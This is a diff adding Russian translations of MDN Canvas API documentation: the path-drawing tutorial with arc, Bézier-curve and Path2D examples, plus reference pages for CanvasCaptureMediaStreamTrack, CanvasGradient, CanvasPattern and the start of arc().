+ <dt>{{domxref("CanvasRenderingContext2D.arcTo", "arcTo(x1, y1, x2, y2, radius)")}}</dt>
+ <dd>Рисуем дугу с заданными контрольными точками и радиусом, соединяя эти точки прямой линией.</dd>
+</dl>
+
+<p>Рассмотрим детальнее метод <em>arc()</em>, который имеет пять параметров: <em><code>x</code></em> и <em><code>y</code></em> — это координаты центра окружности, в которой должна быть нарисована дуга. <em><code>radius</code></em> — не требует пояснений. Углы <code>startAngle</code> и <code>endAngle</code> определяют начальную и конечную точки дуги в радианах вдоль кривой окружности. Отсчет происходит от оси x. Параметр <code>anticlockwise</code> — логическое значение, которое, если <code>true</code>, то рисование дуги совершается против хода часовой стрелки; иначе рисование происходит по ходу часовой стрелки.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Углы в функции arc() измеряют в радианах, не в градусах. Для перевода градусов в радианы вы можете использовать JavaScript-выражение: <code>radians = (Math.PI/180)*degrees</code>.</p>
+</div>
+
+<p>Следующий пример немного сложнее, чем мы рассматривали ранее. Здесь нарисованы 12 различных дуг с разными углами и заливками.</p>
+
+<p>Два <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for"><code>for</code> цикла</a> размещают дуги по столбцам и строкам. Для каждой дуги, мы начинаем новый контур, вызывая <em><code>beginPath()</code></em>. В этом коде каждый параметр дуги для большей ясности задан в виде переменной, но вам не обязательно делать так в реальных проектах.</p>
+
+<p>Координаты <code>x</code> и <code>y</code>  должны быть достаточно ясны. <code>radius</code> and <code>startAngle</code> — фиксированы. <code>endAngle</code> начинается со 180 градусов (полуокружность) в первой колонке и, увеличиваясь с шагом 90 градусов, достигает кульминации полноценной окружностью в последнем столбце.</p>
+
+<p>Установка параметра <code>clockwise</code> определяет результат; в первой и третьей строках рисование дуг происходит по часовой стрелке, а во второй и четвертой - против часовой стрелки. Благодаря if-условию верхняя половина дуг образуется с контуром, (обводкой), а нижняя половина дуг - с заливкой.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Этот пример требует немного большего холста (canvas), чем другие на этой странице: 150 x 200 pixels.</p>
+</div>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="200"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[16] notranslate">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    for(var i=0;i&lt;4;i++){
+      for(var j=0;j&lt;3;j++){
+        ctx.beginPath();
+        var x = 25+j*50; // x coordinate
+        var y = 25+i*50; // y coordinate
+        var radius = 20; // Arc radius
+        var startAngle = 0; // Starting point on circle
+        var endAngle = Math.PI+(Math.PI*j)/2; // End point on circle
+        var anticlockwise = i%2==0 ? false : true; // clockwise or anticlockwise
+
+        ctx.arc(x, y, radius, startAngle, endAngle, anticlockwise);
+
+        if (i&gt;1){
+          ctx.fill();
+        } else {
+          ctx.stroke();
+        }
+      }
+    }
+  }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Дуги", 160, 210, "https://mdn.mozillademos.org/files/204/Canvas_arc.png")}}</p>
+
+<h3 id="Безье_и_квадратичные_кривые">Безье и квадратичные кривые</h3>
+
+<p>Следующим типом доступных контуров являются  <a class="external" href="http://en.wikipedia.org/wiki/B%C3%A9zier_curve" rel="external" title="http://en.wikipedia.org/wiki/B%C3%A9zier_curve">кривые Безье</a>, и к тому же доступны в кубическом и квадратичном вариантах. Обычно они используются при рисовании сложных составных фигур.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.quadraticCurveTo", "quadraticCurveTo(cp1x, cp1y, x, y)")}}</dt>
+ <dd>Рисуется квадратичная кривая Безье с текущей позиции пера в конечную точку с координатами <code>x</code> и <code>y</code>, используя контрольную точку с координатами <code>cp1x</code> и <code>cp1y</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.bezierCurveTo", "bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y)")}}</dt>
+ <dd>Рисуется кубическая кривая Безье с текущей позиции пера в конечную точку с координатами <code>x</code> и <code>y</code>, используя две контрольные точки с координатами (<code>cp1x</code>, <code>cp1y</code>) и (cp2x, cp2y).</dd>
+</dl>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/223/Canvas_curves.png" style="float: right; height: 190px; width: 190px;">Различие между ними можно увидеть на рисунке, изображенном справа. Квадратичная кривая Безье имеет стартовую и конечную точки (синие точки) и всего одну контрольную точку (красная точка), в то время как кубическая кривая Безье использует две контрольные точки.</p>
+
+<p>Параметры <code>x</code> и <code>y</code> в этих двух методах являются координатами конечной точки. <code>cp1x</code> и <code>cp1y</code> — координаты первой контрольной точки, а <code>cp2x</code> и <code>cp2y</code> — координаты второй контрольной точки.</p>
+
+<p>Использование квадратичных или кубических кривых Безье может быть  спорным выходом, так как в отличие от приложений векторной графики типа Adobe Illustrator, мы не имеем полной видимой обратной связи с тем, что мы делаем. Этот факт делает довольно сложным процесс рисования сложных фигур. В следующем примере мы нарисуем совсем простую составную фигуру, но, если у вас есть время и ещё больше терпения, можно создать более сложные составные фигуры.</p>
+
+<p>В этом примере нет ничего слишком тяжелого. В обоих случаях мы видим последовательность кривых, рисуя которые, в результате получим составную фигуру.</p>
+
+<h4 id="Квадратичные_кривые_Безье">Квадратичные кривые Безье</h4>
+
+<p>В этом примере многократно используются квадратичные кривые Безье для рисования речевой выноски.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[9,10,11,12,13,14] notranslate">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    // Quadratric curves example
+    ctx.beginPath();
+    ctx.moveTo(75,25);
+    ctx.quadraticCurveTo(25,25,25,62.5);
+    ctx.quadraticCurveTo(25,100,50,100);
+    ctx.quadraticCurveTo(50,120,30,125);
+    ctx.quadraticCurveTo(60,120,65,100);
+    ctx.quadraticCurveTo(125,100,125,62.5);
+    ctx.quadraticCurveTo(125,25,75,25);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Квадратичные_кривые_Безье", 160, 160, "https://mdn.mozillademos.org/files/243/Canvas_quadratic.png")}}</p>
+
+<h4 id="Кубические_кривые_Безье">Кубические кривые Безье</h4>
+
+<p>В этом примере нарисовано сердце с использованием кубических кривых Безье.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[9,10,11,12,13,14] notranslate">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    // Cubic curves example
+    ctx.beginPath();
+    ctx.moveTo(75,40);
+    ctx.bezierCurveTo(75,37,70,25,50,25);
+    ctx.bezierCurveTo(20,25,20,62.5,20,62.5);
+    ctx.bezierCurveTo(20,80,40,102,75,120);
+    ctx.bezierCurveTo(110,102,130,80,130,62.5);
+    ctx.bezierCurveTo(130,62.5,130,25,100,25);
+    ctx.bezierCurveTo(85,25,75,37,75,40);
+    ctx.fill();
+  }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Cubic_Bezier_curves", 160, 160, "https://mdn.mozillademos.org/files/207/Canvas_bezier.png")}}</p>
+
+<h3 id="Прямоугольники">Прямоугольники</h3>
+
+<p>Все эти методы мы видели в  {{anch("Рисование прямоугольников")}}, которые рисуют прямоугольники сразу в canvas, так же есть метод <code>rect()</code>, который не отображает, а только добавляет контур рисования (path) заданного прямоугольника к последнему открытому контуру.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.rect", "rect(x, y, width, height)")}}</dt>
+ <dd><br>
+ Добавляет в path прямоугольник, верхний левый угол которого указан с помощью (x, y) с вашими width и height</dd>
+ <dt></dt>
+</dl>
+
+<p>Когда этот метод вызван, автоматически вызывается метод moveTo() с параметрами (x, y). Другими словами, позиция курсора устанавливается в начало добавленного прямоугольника.</p>
+
+<h3 id="Создание_комбинаций">Создание комбинаций</h3>
+
+<p>До сих пор, в каждом примере использовался только один тип функции контуров для каждой фигуры.<br>
+ Однако, нет никаких ограничений на количество или типы контуров, которые вы можете использовать для создания фигур. Давайте в этом примере объединим все вышеперечисленные  функции контуров, чтобы создать набор очень известных игровых персонажей.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js notranslate">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    roundedRect(ctx,12,12,150,150,15);
+    roundedRect(ctx,19,19,150,150,9);
+    roundedRect(ctx,53,53,49,33,10);
+    roundedRect(ctx,53,119,49,16,6);
+    roundedRect(ctx,135,53,49,33,10);
+    roundedRect(ctx,135,119,25,49,10);
+
+    ctx.beginPath();
+    ctx.arc(37,37,13,Math.PI/7,-Math.PI/7,false);
+    ctx.lineTo(31,37);
+    ctx.fill();
+
+    for(var i=0;i&lt;8;i++){
+      ctx.fillRect(51+i*16,35,4,4);
+    }
+
+    for(i=0;i&lt;6;i++){
+      ctx.fillRect(115,51+i*16,4,4);
+    }
+
+    for(i=0;i&lt;8;i++){
+      ctx.fillRect(51+i*16,99,4,4);
+    }
+
+    ctx.beginPath();
+    ctx.moveTo(83,116);
+    ctx.lineTo(83,102);
+    ctx.bezierCurveTo(83,94,89,88,97,88);
+    ctx.bezierCurveTo(105,88,111,94,111,102);
+    ctx.lineTo(111,116);
+    ctx.lineTo(106.333,111.333);
+    ctx.lineTo(101.666,116);
+    ctx.lineTo(97,111.333);
+    ctx.lineTo(92.333,116);
+    ctx.lineTo(87.666,111.333);
+    ctx.lineTo(83,116);
+    ctx.fill();
+
+    ctx.fillStyle = "white";
+    ctx.beginPath();
+    ctx.moveTo(91,96);
+    ctx.bezierCurveTo(88,96,87,99,87,101);
+    ctx.bezierCurveTo(87,103,88,106,91,106);
+    ctx.bezierCurveTo(94,106,95,103,95,101);
+    ctx.bezierCurveTo(95,99,94,96,91,96);
+    ctx.moveTo(103,96);
+    ctx.bezierCurveTo(100,96,99,99,99,101);
+    ctx.bezierCurveTo(99,103,100,106,103,106);
+    ctx.bezierCurveTo(106,106,107,103,107,101);
+    ctx.bezierCurveTo(107,99,106,96,103,96);
+    ctx.fill();
+
+    ctx.fillStyle = "black";
+    ctx.beginPath();
+    ctx.arc(101,102,2,0,Math.PI*2,true);
+    ctx.fill();
+
+    ctx.beginPath();
+    ctx.arc(89,102,2,0,Math.PI*2,true);
+    ctx.fill();
+  }
+}
+
+// A utility function to draw a rectangle with rounded corners.
+
+function roundedRect(ctx,x,y,width,height,radius){
+  ctx.beginPath();
+  ctx.moveTo(x,y+radius);
+  ctx.lineTo(x,y+height-radius);
+  ctx.quadraticCurveTo(x,y+height,x+radius,y+height);
+  ctx.lineTo(x+width-radius,y+height);
+  ctx.quadraticCurveTo(x+width,y+height,x+width,y+height-radius);
+  ctx.lineTo(x+width,y+radius);
+  ctx.quadraticCurveTo(x+width,y,x+width-radius,y);
+  ctx.lineTo(x+radius,y);
+  ctx.quadraticCurveTo(x,y,x,y+radius);
+  ctx.stroke();
+}
+</pre>
+
+<p>Конечное изображение выглядит так:</p>
+
+<p>{{EmbedLiveSample("Создание_комбинаций", 160, 160, "https://mdn.mozillademos.org/files/9849/combinations.png")}}</p>
+
+<p>Мы не будем подробно останавливаться на том, так как это на самом деле удивительно просто. Наиболее важные вещи, которые следует отметить, это использование свойства <code>fillStyle</code> в контексте рисования и использование функции утилиты (в данном случае <code>roundedRect()</code>). Использование функций утилиты для битов чертежа часто может быть очень полезным и сократить количество необходимого кода, а также его сложность.</p>
+
+<p>Позже, в этом уроке, мы еще раз рассмотрим <code>fillStyle</code>, но более подробно. Здесь же мы используем его для изменения цвета заливки путей вместо цвета по умолчанию от черного до белого, а затем обратно.</p>
+
+<h2 id="Path2D_объекты">Path2D объекты</h2>
+
+<p>Как мы видели в последнем примере, есть серия путей и команд для рисования объектов на вашем холсте. Чтобы упростить код и повысить производительность, объект {{domxref("Path2D")}}, доступный в последних версиях браузеров, позволяет вам кэшировать или записывать эти команды рисования. Вы можете быстро запускать свои пути.<br>
+ Давайте посмотрим, как мы можем построить объект <code>Path2D</code> :</p>
+
+<dl>
+ <dt>{{domxref("Path2D.Path2D", "Path2D()")}}</dt>
+ <dd>Конструктор <code><strong>Path2D()</strong></code> возвращает вновь созданный объект <code>Path2D</code>  необязательно с другим путем в качестве аргумента (создает копию) или необязательно со строкой, состоящей из данных пути <a href="/en-US/docs/Web/SVG/Tutorial/Paths">SVG path</a> .</dd>
+</dl>
+
+<pre class="brush: js notranslate">new Path2D();     // пустой path объект
+new Path2D(path); // копирование из другого path
+new Path2D(d);    // path из SVG</pre>
+
+<p>Все  <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">методы path</a> , такие как  <code>moveTo</code>,  <code>rect</code>,  <code>arc</code>, или <code>quadraticCurveTo</code>,  итп, которые мы уже знаем, доступны для объектов <code>Path2D</code></p>
+
+<p>API <code>Path2D</code> также добавляет способ комбинирования путей с использованием метода <code>addPath</code>. Это может быть полезно, если вы хотите, например, создавать объекты из нескольких компонентов.</p>
+
+<dl>
+ <dt>{{domxref("Path2D.addPath", "Path2D.addPath(path [, transform])")}}</dt>
+ <dd>Добавляет путь к текущему пути с необязательной матрицей преобразования.</dd>
+</dl>
+
+<h3 id="Path2D_пример">Path2D пример</h3>
+
+<p>В этом примере мы создаем прямоугольник и круг. Оба они сохраняются как объект <code>Path2D</code>, поэтому они доступны для последующего использования. С новым API <code>Path2D</code> несколько методов были обновлены, чтобы при необходимости принять объект <code>Path2D</code> для использования вместо текущего пути. Здесь <code>stroke</code> и <code>fill</code> используются с аргументом пути, например, для рисования обоих объектов на холст.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="130" height="100"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[6,9] notranslate">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    var rectangle = new Path2D();
+    rectangle.rect(10, 10, 50, 50);
+
+    var circle = new Path2D();
+    circle.moveTo(125, 35);
+    circle.arc(100, 35, 25, 0, 2 * Math.PI);
+
+    ctx.stroke(rectangle);
+    ctx.fill(circle);
+  }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Path2D_example", 130, 110, "https://mdn.mozillademos.org/files/9851/path2d.png")}}</p>
+
+<h3 id="Использование_SVG_путей">Использование SVG путей</h3>
+
+<p>Еще одна мощная функция нового Canvas <code>Path2D</code> API использует данные пути SVG, <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Paths">SVG path data</a>, для инициализации путей на вашем холсте. Это может позволить вам передавать данные пути и повторно использовать их как в SVG, так и в холсте.</p>
+
+<p>Путь перемещается в точку (<code>M10 10</code>), а затем горизонтально перемещается на 80 пунктов вправо (<code>h 80</code>), затем на 80 пунктов вниз (<code>v 80</code>), затем на 80 пунктов влево (<code>h -80</code>), а затем обратно на start (<code>z</code>). <br>
+ Этот пример можно увидеть на странице  <a href="/en-US/docs/Web/API/Path2D.Path2D#Using_SVG_paths"><code>Path2D</code> constructor</a>.</p>
+
+<pre class="brush: js; notranslate">var p = new Path2D("M10 10 h 80 v 80 h -80 Z");</pre>
+
+<div>{{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}</div>
diff --git a/files/ru/web/api/canvascapturemediastreamtrack/index.html b/files/ru/web/api/canvascapturemediastreamtrack/index.html
new file mode 100644
index 0000000000..9705e65314
--- /dev/null
+++ b/files/ru/web/api/canvascapturemediastreamtrack/index.html
@@ -0,0 +1,61 @@
+---
+title: CanvasCaptureMediaStreamTrack
+slug: Web/API/CanvasCaptureMediaStreamTrack
+translation_of: Web/API/CanvasCaptureMediaStreamTrack
+---
+<div>{{APIRef ("захват мультимедиа и потоки")}}</div>
+
+<p><span class="seoSummary"><strong><code>CanvasCaptureMediaStreamTrack</code></strong>Интерфейс представляет собой видеодорожку, содержащуюся в {{domxref ("MediaStream")}}, генерируемую из {{HTMLElement ("canvas")}} после вызова {{domxref ("HTMLCanvasElement.captureStream ()")}}.</span></p>
+
+<p>Часть <a href="/en-US/docs/Web/API/Media_Streams_API">API захвата мультимедиа и потоков</a>.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс наследует свойства своего родителя, {{domxref ("MediaStreamTrack")}}.</em></p>
+
+<dl>
+ <dt>{{domxref ("CanvasCaptureMediaStreamTrack.холст")}} {{readonlyInline}}</dt>
+ <dd>Возвращает объект {{domxref ("HTMLCanvasElement")}}, поверхность которого захватывается в режиме реального времени.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс наследует методы своего родителя, {{domxref ("MediaStreamTrack")}}.</em></p>
+
+<dl>
+ <dt>{{domxref ("CanvasCaptureMediaStreamTrack.requestFrame()")}}</dt>
+ <dd>Вручную заставляет кадр быть захваченным и отправленным в поток. Это позволяет приложениям, которые хотят непосредственно указать время захвата кадра, сделать это, если они указали a <code>frameRate</code>из 0 при вызове {{domxref ("HTMLCanvasElement.captureStream", " captureStream ()")}}.</dd>
+</dl>
+
+<h2 id="Технические_характеристики">Технические характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName ('Media Capture DOM Elements', '#the-canvascapturemediastreamtrack', 'CanvasCaptureMediaStreamTrack')}}</td>
+   <td>{{Spec2 ('Media Captiondom Elements')}}</td>
+   <td>Исходное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data </a>и пошлите нами запрос тяги.</div>
+
+<p>{{Compat ("api.CanvasCaptureMediaStreamTrack")}}</p>
+</div>
+
+<h2 id="Смотреть_также">Смотреть также</h2>
+
+<ul>
+ <li>{{domxref ("HTMLCanvasElement.captureStream ()")}} чтобы начать захват кадров с холста</li>
+</ul>
diff --git a/files/ru/web/api/canvasgradient/index.html b/files/ru/web/api/canvasgradient/index.html
new file mode 100644
index 0000000000..19b1442641
--- /dev/null
+++ b/files/ru/web/api/canvasgradient/index.html
@@ -0,0 +1,110 @@
+---
+title: CanvasGradient
+slug: Web/API/CanvasGradient
+tags:
+  - API
+  - Canvas
+  - CanvasGradient
+  - Градиенты
+  - Интерфейс
+  - Справка
+translation_of: Web/API/CanvasGradient
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p>Интерфейс <code><strong>CanvasGradient</strong></code> <span id="result_box" lang="ru"><span>представляет собой</span> <span>непрозрачный</span> <span>объект, описывающий</span> <span>градиент</span><span>.</span> <span>Он возвращается</span> <span>методами</span></span> {{domxref("CanvasRenderingContext2D.createLinearGradient()")}} и {{domxref("CanvasRenderingContext2D.createRadialGradient()")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Representing an opaque object, there is no exposed property.</em></p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Не имеет наследованных методов.</em></p>
+
+<dl>
+ <dt>{{domxref("CanvasGradient.addColorStop()")}}</dt>
+ <dd>Добавляет в градиент новый маркер, определяемый смещенем и цветом. <code>Если смещение входдит за пределы 0</code> и <code>1</code>, генерируется <code>INDEX_SIZE_ERR</code>. Если не удааётся обработать цвет как CSS {{cssxref("&lt;color&gt;")}}, генерируется <code>SYNTAX_ERR</code>.</dd>
+</dl>
+
+<h2 id="Характеристики"><span class="short_text" id="result_box" lang="ru"><span>Характеристики</span></span></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><span class="short_text" id="result_box" lang="ru"><span>Характеристика</span></span></th>
+   <th scope="col">Состояние</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-canvas-element.html#canvasgradient", "CanvasGradient")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами"><span class="short_text" id="result_box" lang="ru"><span>Совместимость с браузерами</span></span></h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}} [1]</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.2")}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] До Gecko 5.0, (Firefox 5.0 / Thunderbird 5.0 / SeaMonkey 2.2), указание некорректных значений при добавлении цветовых маркеров при вызове <code>addColorStop()</code> генерирует <code>SYNTAX_ERR</code> вместо <code>INDEX_SIZE_ERR</code>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Методы создания в {{domxref("CanvasRenderingContext2D")}}.</li>
+ <li>Элемент {{HTMLElement("canvas")}} и сзвязанный с ним интерфейс {{domxref("HTMLCanvasElement")}}.</li>
+</ul>
diff --git a/files/ru/web/api/canvaspattern/index.html b/files/ru/web/api/canvaspattern/index.html
new file mode 100644
index 0000000000..9fc236b00a
--- /dev/null
+++ b/files/ru/web/api/canvaspattern/index.html
@@ -0,0 +1,59 @@
+---
+title: CanvasPattern
+slug: Web/API/CanvasPattern
+translation_of: Web/API/CanvasPattern
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p><code><strong>CanvasPattern</strong></code> представляет собой интерфейс <a href="https://en.wikipedia.org/wiki/Opaque_data_type">непрозрачного объекта</a>, описывающего шаблон, который может быть представлен как картинка, canvas или видео.</p>
+
+<p><code><strong>CanvasPattern</strong></code> создаётся с помощью метода {{domxref("CanvasRenderingContext2D.createPattern()")}}.</p>
+
+<p>Может быть использован как {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} или {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Не имеет доступных свойств.</em></p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Не имеет унаследованных методов.</em></p>
+
+<dl>
+ <dt>{{domxref("CanvasPattern.setTransform()")}} {{experimental_inline}}</dt>
+ <dd>Используется в качестве {{domxref("SVGMatrix")}} представления линейной трансформации.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-canvas-element.html#canvaspattern", "CanvasPattern")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Метод <code>setTransform()</code> добавлен в v5.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div>
+
+
+<p>{{Compat("api.CanvasPattern")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D.createPattern()")}}</li>
+ <li>{{HTMLElement("canvas")}} тег и связанный с ним интерфейс - {{domxref("HTMLCanvasElement")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/arc/index.html b/files/ru/web/api/canvasrenderingcontext2d/arc/index.html
new file mode 100644
index 0000000000..b6ab5c6600
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/arc/index.html
@@ -0,0 +1,226 @@
+---
+title: CanvasRenderingContext2D.arc()
+slug: Web/API/CanvasRenderingContext2D/arc
+tags:
+  - API
+  - Рисование
+  - Рисование в 2d
+  - Функция
+  - Холст
+  - метод
+translation_of: Web/API/CanvasRenderingContext2D/arc
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.arc()</code></strong> метод Canvas 2D API добавляет дугу к пути с центром <em>(x, y)</em> и с радиусом <em>r</em>  с началом в <em>startAngle</em> и с концом <em>endAngle</em> и с направлением против часовой стрелки (по умолчанию по часовой стрелке).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.arc(x, y, radius, startAngle, endAngle, anticlockwise);</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>X координата центра дуги.</dd>
+ <dt><code>y</code></dt>
+ <dd>Y координата центра дуги.</dd>
+ <dt><code>radius</code></dt>
+ <dd>Радиус.</dd>
+ <dt><code>startAngle</code></dt>
+ <dd>Угол начала дуги. Измеряется по часовой стрелке от положительной оси Х, выражается в радианах.</dd>
+ <dt><code>endAngle</code></dt>
+ <dd>Угол завершения дуги. Измеряется по часовой стрелке от положительной оси Х, выражается в радианах.</dd>
+ <dt><code>anticlockwise</code> {{optional_inline}}</dt>
+ <dd>Необязательный {{jsxref("Boolean")}}. Задаёт направление рисования дуги.<br>
+ Если <code>true</code> - против часовой, <code>false</code> - по часовой.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Using_the_arc_method" name="Using_the_arc_method">Использование метода <code>arc</code></h3>
+
+<p>Ниже приведен пример простого кода который рисует круг.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.arc(75, 75, 50, 0, 2 * Math.PI);
+ctx.stroke();
+</pre>
+
+<p>Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени (убедитесь, что вы используете браузер, поддерживающий данное свойство - смотрите таблицу совместимости):</p>
+
+<div style="display: none;">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.beginPath();
+ctx.arc(50, 50, 50, 0, 2 * Math.PI, false);
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h3 id="Different_shapes_demonstrated" name="Different_shapes_demonstrated">Демонстрация разных форм дуг</h3>
+
+<p>В этом примере нарисованные разные формы чтобы показать возможности метода <code>arc()</code>.</p>
+
+<div style="display: none;">
+<h6 id="HTML_2">HTML</h6>
+
